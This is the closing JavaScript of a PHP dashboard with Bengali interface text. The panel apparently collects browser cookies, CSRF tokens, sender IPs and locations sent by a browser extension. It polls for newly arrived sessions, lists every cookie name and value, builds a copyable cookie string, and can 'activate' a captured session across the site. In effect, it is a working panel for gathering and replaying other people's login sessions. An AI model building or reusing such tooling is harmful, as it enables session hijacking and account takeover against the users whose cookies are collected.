        fetch('?ajax_get_cookies=1&profile=' + encodeURIComponent(name))
            .then(response => response.text())
            .then(content => {
                // Set Raw Content
                document.getElementById('modalCookieContent').value = content;
                
                const formattedView = document.getElementById('formattedView');
                formattedView.innerHTML = ''; // Clear previous
                
                const cookieStringSection = document.getElementById('cookieStringSection');
                const readyCookieString = document.getElementById('readyCookieString');
                
                let data = null;
                let isJson = false;
                let finalCookieString = '';

                try {
                    data = JSON.parse(content);
                    isJson = true;
                    
                    if (data.cookie_string_all) {
                        finalCookieString = data.cookie_string_all;
                    } else if (data.cookie_string_main) {
                        finalCookieString = data.cookie_string_main;
                    } else if (data.cookie_string) {
                        finalCookieString = data.cookie_string;
                    } else if (typeof data === 'object') {
                        finalCookieString = JSON.stringify(data);
                    }
                } catch (e) {
                    console.log('Not valid JSON, treating as raw string');
                    if (content.includes('=')) {
                        finalCookieString = content;
                        data = { cookie_string: content };
                    } else {
                         formattedView.innerHTML = '<div class="alert alert-secondary">Raw Text Format (Not structured JSON)</div>';
                    }
                }

                const normalizeCookieString = (s) => {
                    const raw = String(s || "")
                        .trim()
                        .replace(/^cookie:\s*/i, "")
                        .replace(/[\r\n\t]+/g, " ");
                    const parts = raw.split(";").map(p => String(p || "").trim()).filter(Boolean);
                    const map = new Map();
                    for (const p of parts) {
                        const eq = p.indexOf("=");
                        if (eq <= 0) continue;
                        const k = p.slice(0, eq).trim();
                        const v = p.slice(eq + 1).trim();
                        if (!k) continue;
                        map.set(k.toLowerCase(), [k, v]);
                    }
                    const out = [];
                    for (const [, kv] of map.entries()) out.push(kv[0] + "=" + kv[1]);
                    return out.join("; ");
                };

                const normalizedCookie = normalizeCookieString(finalCookieString);

                if (normalizedCookie && normalizedCookie.length > 10) {
                    readyCookieString.value = normalizedCookie;
                    cookieStringSection.style.display = 'block';
                } else {
                    cookieStringSection.style.display = 'none';
                }

                const esc = (s) => String(s ?? '').replace(/[&<>"']/g, (c) => ({'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[c]));
                const get = (k) => (data && typeof data === 'object') ? data[k] : undefined;

                const senderName = esc(get('sender_name') || get('senderName') || get('browser_name') || name);
                const senderIp = esc(get('sender_ip') || get('senderIp') || '');
                const updatedAt = parseInt(get('updated_at') || get('updatedAt') || 0, 10) || 0;
                const updatedStr = updatedAt > 0 ? new Date(updatedAt * 1000).toLocaleString('en-GB', { timeZone: 'Asia/Dhaka' }) : '';
                const csrfToken = String(get('csrf_token') || get('csrfToken') || '').trim();
                let csrfHeader = String(get('csrf_header') || get('csrfHeader') || '').trim();
                if (!csrfHeader && csrfToken) csrfHeader = 'X-CSRF-TOKEN';
                const extVersion = esc(get('ext_version') || get('extVersion') || '');

                const cookiePairs = [];
                if (normalizedCookie) {
                    const parts = normalizedCookie.split(';').map(p => String(p || '').trim()).filter(Boolean);
                    const map = new Map();
                    for (const p of parts) {
                        const eq = p.indexOf('=');
                        if (eq <= 0) continue;
                        const k = p.slice(0, eq).trim();
                        const v = p.slice(eq + 1).trim();
                        if (!k) continue;
                        map.set(k.toLowerCase(), [k, v]);
                    }
                    for (const [, kv] of map.entries()) cookiePairs.push(kv);
                    cookiePairs.sort((a, b) => a[0].localeCompare(b[0]));
                }

                let html = '';
                html += '<div class="table-responsive mb-3"><table class="table table-sm table-bordered">';
                html += '<tbody>';
                html += '<tr><th style="width:180px;">Sender Name</th><td>' + senderName + '</td></tr>';
                html += '<tr><th>Sender IP</th><td>' + (senderIp ? senderIp : '—') + '</td></tr>';
                html += '<tr><th>Last Updated (BD)</th><td>' + (updatedStr ? esc(updatedStr) : '—') + '</td></tr>';
                html += '<tr><th>Token Header</th><td>' + (csrfHeader ? esc(csrfHeader) : '—') + '</td></tr>';
                html += '<tr><th>Ext Version</th><td>' + (extVersion ? extVersion : '—') + '</td></tr>';
                html += '<tr><th>CSRF Token</th><td>' + (csrfToken ? '<span class="font-monospace">' + esc(csrfToken) + '</span>' : '—') + '</td></tr>';
                html += '</tbody></table></div>';

                html += '<div class="table-responsive"><table class="table table-sm table-striped table-bordered">';
                html += '<thead><tr><th style="width:70px;">#</th><th style="width:240px;">Cookie Name</th><th>Cookie Value</th></tr></thead><tbody>';
                if (cookiePairs.length === 0) {
                    html += '<tr><td colspan="3" class="text-center text-muted">No cookie pairs parsed</td></tr>';
                } else {
                    for (let i = 0; i < cookiePairs.length; i++) {
                        html += '<tr><td>' + (i + 1) + '</td><td class="font-monospace">' + esc(cookiePairs[i][0]) + '</td><td class="font-monospace" style="word-break:break-all;">' + esc(cookiePairs[i][1]) + '</td></tr>';
                    }
                }
                html += '</tbody></table></div>';
                formattedView.innerHTML = html;
                
                // Show modal
                var myModal = new bootstrap.Modal(document.getElementById('cookieModal'));
                myModal.show();
            })
            .catch(err => {
                alert('Error fetching cookies: ' + err);
            });
    }

    function copyText(text) {
        navigator.clipboard.writeText(text).then(function() {
            alert("Cookie string copied!");
        }, function(err) {
            alert("Failed to copy: " + err);
        });
    }

    function copyRaw() {
        const rawText = document.getElementById('modalCookieContent');
        rawText.select();
        document.execCommand('copy');
        alert('Raw JSON copied to clipboard!');
    }
    
    function copyReadyCookie() {
        const cookieText = document.getElementById('readyCookieString');
        cookieText.select();
        document.execCommand('copy');
        
        // Show temporary feedback
        const btn = event.target.closest('button');
        const originalHtml = btn.innerHTML;
        btn.innerHTML = '<i class="fas fa-check"></i> Copied!';
        btn.classList.replace('btn-success', 'btn-dark');
        
        setTimeout(() => {
            btn.innerHTML = originalHtml;
            btn.classList.replace('btn-dark', 'btn-success');
        }, 2000);
    }

    // ============================================================
    // REAL-TIME SESSION POLLING
    // প্রতি 5 সেকেন্ডে নতুন session চেক
    // ============================================================
    let lastKnownTimestamp = <?php echo time(); ?>;
    let knownProfiles = new Set(<?php echo json_encode(array_keys($registry)); ?>);
    const currentActiveProfile = <?php echo json_encode($currentProfile); ?>;
    let isPolling = false;
    
    function formatTimeAgo(ts) {
        const now = Math.floor(Date.now() / 1000);
        const diff = now - ts;
        if (diff < 60) return diff + 's ago';
        if (diff < 3600) return Math.floor(diff / 60) + 'm ago';
        if (diff < 86400) return Math.floor(diff / 3600) + 'h ago';
        return Math.floor(diff / 86400) + 'd ago';
    }
    
    function formatDate(ts) {
        const d = new Date(ts * 1000);
        return d.toLocaleString('en-GB', { timeZone: 'Asia/Dhaka', 
            day: '2-digit', month: 'short', year: 'numeric',
            hour: '2-digit', minute: '2-digit' });
    }
    
    function showToast(msg, type = 'success') {
        const toast = document.getElementById('sessionToast');
        const msgEl = document.getElementById('toastMessage');
        if (!toast || !msgEl) return;
        toast.className = `toast align-items-center text-bg-${type} border-0`;
        msgEl.innerHTML = msg;
        const bsToast = new bootstrap.Toast(toast, { delay: 5000 });
        bsToast.show();
    }
    
    function buildSessionCard(s) {
        const isActive = (s.profile === currentActiveProfile);
        const statusColor = s.last_status === 'active' ? 'success' : (s.last_status === 'expired' ? 'danger' : 'warning');
        const statusTextColor = statusColor === 'warning' ? 'dark' : 'white';
        const statusText = (s.last_status || 'unknown').charAt(0).toUpperCase() + (s.last_status || 'unknown').slice(1);
        const activateBtn = isActive
            ? `<span class="session-active-badge" id="activeBadge-${s.profile}"><i class="fas fa-wifi"></i> সেশন চালু</span>`
            : `<button class="btn-activate" id="activateBtn-${s.profile}" onclick="activateSession('${s.profile}')"><i class="fas fa-power-off"></i> সেশন চালু করুন</button>`;
        const extVersionHtml = s.ext_version ? `<br><i class="fas fa-code-branch"></i> Ext: ${s.ext_version}` : '';
        return `
        <div class="col-md-4 mb-4" id="cardWrap-${s.profile}">
            <div class="card h-100 shadow-sm session-card ${isActive ? 'border-primary' : ''}" id="card-${s.profile}">
                <div class="card-header d-flex justify-content-between align-items-center ${isActive ? 'bg-primary text-white' : 'bg-light'}">
                    <small class="fw-bold"><i class="fas fa-globe"></i> <span class="pc-badge">${s.profile}</span></small>
                    <span class="badge bg-${statusColor} text-${statusTextColor}" id="statusBadge-${s.profile}">${statusText}</span>
                </div>
                <div class="card-body">
                    <h5 class="card-title text-truncate" title="${s.display_name}">
                        <i class="fas fa-desktop"></i> ${s.display_name}
                    </h5>
                    <p class="card-text small text-muted mb-2">
                        <i class="far fa-clock"></i> Last Active: ${formatTimeAgo(s.updated_at)}<br>
                        <i class="far fa-calendar-alt"></i> Date: ${formatDate(s.updated_at)}<br>
                        <i class="fas fa-network-wired"></i> IP: ${s.sender_ip || '—'}
                        ${s.location ? `<br><i class="fas fa-map-marker-alt"></i> Location: ${s.location}` : ''}
                        ${extVersionHtml}
                    </p>
                    <div class="d-flex flex-wrap justify-content-between align-items-center mt-3 gap-2">
                        <div class="d-flex gap-1 flex-wrap">
                            <button class="btn btn-sm btn-outline-secondary" onclick="viewCookies('${s.profile}')">
                                <i class="fas fa-eye"></i> View
                            </button>
                            <button class="btn btn-sm btn-outline-primary" onclick="refreshStatus('${s.profile}')">
                                <i class="fas fa-sync"></i> Check
                            </button>
                            <form method="post" style="display:inline;" onsubmit="return confirm('এই session কার্ড delete করবেন?');">
                                <input type="hidden" name="delete_profile" value="${s.profile}">
                                <button type="submit" class="btn btn-sm btn-outline-danger">
                                    <i class="fas fa-trash"></i>
                                </button>
                            </form>
                        </div>
                        ${activateBtn}
                    </div>
                </div>
            </div>
        </div>`;
    }
    
    // AJAX Session Activate function
    let activating = false;
    function activateSession(profile) {
        if (activating) return;
        activating = true;
        const btn = document.getElementById('activateBtn-' + profile);
        if (btn) {
            btn.disabled = true;
            btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> চালু হচ্ছে...';
        }
        fetch('?ajax_activate=' + encodeURIComponent(profile))
            .then(r => r.json())
            .then(res => {
                if (res && res.ok) {
                    showToast('<i class="fas fa-wifi me-2"></i>সেশন সফলভাবে চালু হয়েছে! সব পেজে session কাজ করছে।', 'success');
                    // Reload after 1.5s to reflect changes
                    setTimeout(() => window.location.reload(), 1500);
                } else {
                    showToast('<i class="fas fa-exclamation-triangle me-2"></i>Session activate হয়নি। আবার চেষ্টা করুন।', 'danger');
                    if (btn) {
                        btn.disabled = false;
                        btn.innerHTML = '<i class="fas fa-power-off"></i> সেশন চালু করুন';
                    }
                    activating = false;
                }
            })
            .catch(err => {
                showToast('<i class="fas fa-exclamation-triangle me-2"></i>Error: ' + err, 'danger');
                if (btn) {
                    btn.disabled = false;
                    btn.innerHTML = '<i class="fas fa-power-off"></i> সেশন চালু করুন';
                }
                activating = false;
            });
    }
    
    async function pollSessions() {
        if (isPolling) return;
        isPolling = true;
        try {
            const resp = await fetch('?ajax_session_list=1&since=' + lastKnownTimestamp);
            if (!resp.ok) { isPolling = false; return; }
            const data = await resp.json();
            if (!data || !data.ok) { isPolling = false; return; }
            
            // Update last poll time display
            const pollEl = document.getElementById('lastPollTime');
            if (pollEl) pollEl.textContent = 'শেষ চেক: ' + new Date().toLocaleTimeString('en-GB');
            
            const container = document.getElementById('sessionCardsContainer');
            if (!container) { isPolling = false; return; }
            
            let hasNew = false;
            let hasUpdated = false;
            
            if (data.sessions && data.sessions.length > 0) {
                // নো সেশন মেসেজ হাইড করি
                const noSessionMsg = document.getElementById('noSessionMsg');
                if (noSessionMsg) noSessionMsg.style.display = 'none';
                
                data.sessions.forEach(s => {
                    const existingWrap = document.getElementById('cardWrap-' + s.profile);
                    if (!existingWrap) {
                        // নতুন কার্ড যোগ করি
                        const newCol = document.createElement('div');
                        newCol.innerHTML = buildSessionCard(s).trim();
                        const newCard = newCol.firstChild;
                        if (newCard) {
                            newCard.classList.add('card-new-anim');
                            container.insertBefore(newCard, container.firstChild);
                        }
                        knownProfiles.add(s.profile);
                        hasNew = true;
                    } else {
                        // বিদ্যমান কার্ড আপডেট - শুধু যদি নতুন timestamp
                        if (s.updated_at > lastKnownTimestamp) {
                            const badge = document.getElementById('statusBadge-' + s.profile);
                            if (badge) {
                                const color = s.last_status === 'active' ? 'success' : (s.last_status === 'expired' ? 'danger' : 'warning');
                                badge.className = `badge bg-${color} text-${color === 'warning' ? 'dark' : 'white'}`;
                                badge.textContent = (s.last_status || 'unknown').charAt(0).toUpperCase() + (s.last_status || 'unknown').slice(1);
                            }
                            // Pulse animation
                            const card = document.getElementById('card-' + s.profile);
                            if (card) {
                                card.classList.remove('card-updated');
                                void card.offsetWidth; // reflow
                                card.classList.add('card-updated');
                            }
                            hasUpdated = true;
                        }
                    }
                });
                
                // Update lastKnownTimestamp
                const maxTs = Math.max(...data.sessions.map(s => s.updated_at || 0));
                if (maxTs > lastKnownTimestamp) lastKnownTimestamp = maxTs;
            }
            
            if (hasNew) {
                const count = data.sessions.length;
                const newNames = data.sessions
                    .filter(s => !knownProfiles.has(s.profile) || s.updated_at > lastKnownTimestamp)
                    .map(s => s.display_name).slice(0, 2).join(', ');
                showToast(`<i class="fas fa-satellite-dish me-2"></i>নতুন সেশন এসেছে! (${count} টি সেশন সক্রিয়)`, 'success');
            } else if (hasUpdated) {
                showToast(`<i class="fas fa-sync me-2"></i>সেশন আপডেট হয়েছে`, 'info');
            }
            
        } catch(e) {
            console.warn('Session poll error:', e);
        }
        isPolling = false;
    }
    
    // প্রতি 5 সেকেন্ডে poll
    setInterval(pollSessions, 5000);
    // পেজ লোডের পরে প্রথম poll 1 সেকেন্ডে
    setTimeout(pollSessions, 1000);
</script>

</body>
</html>
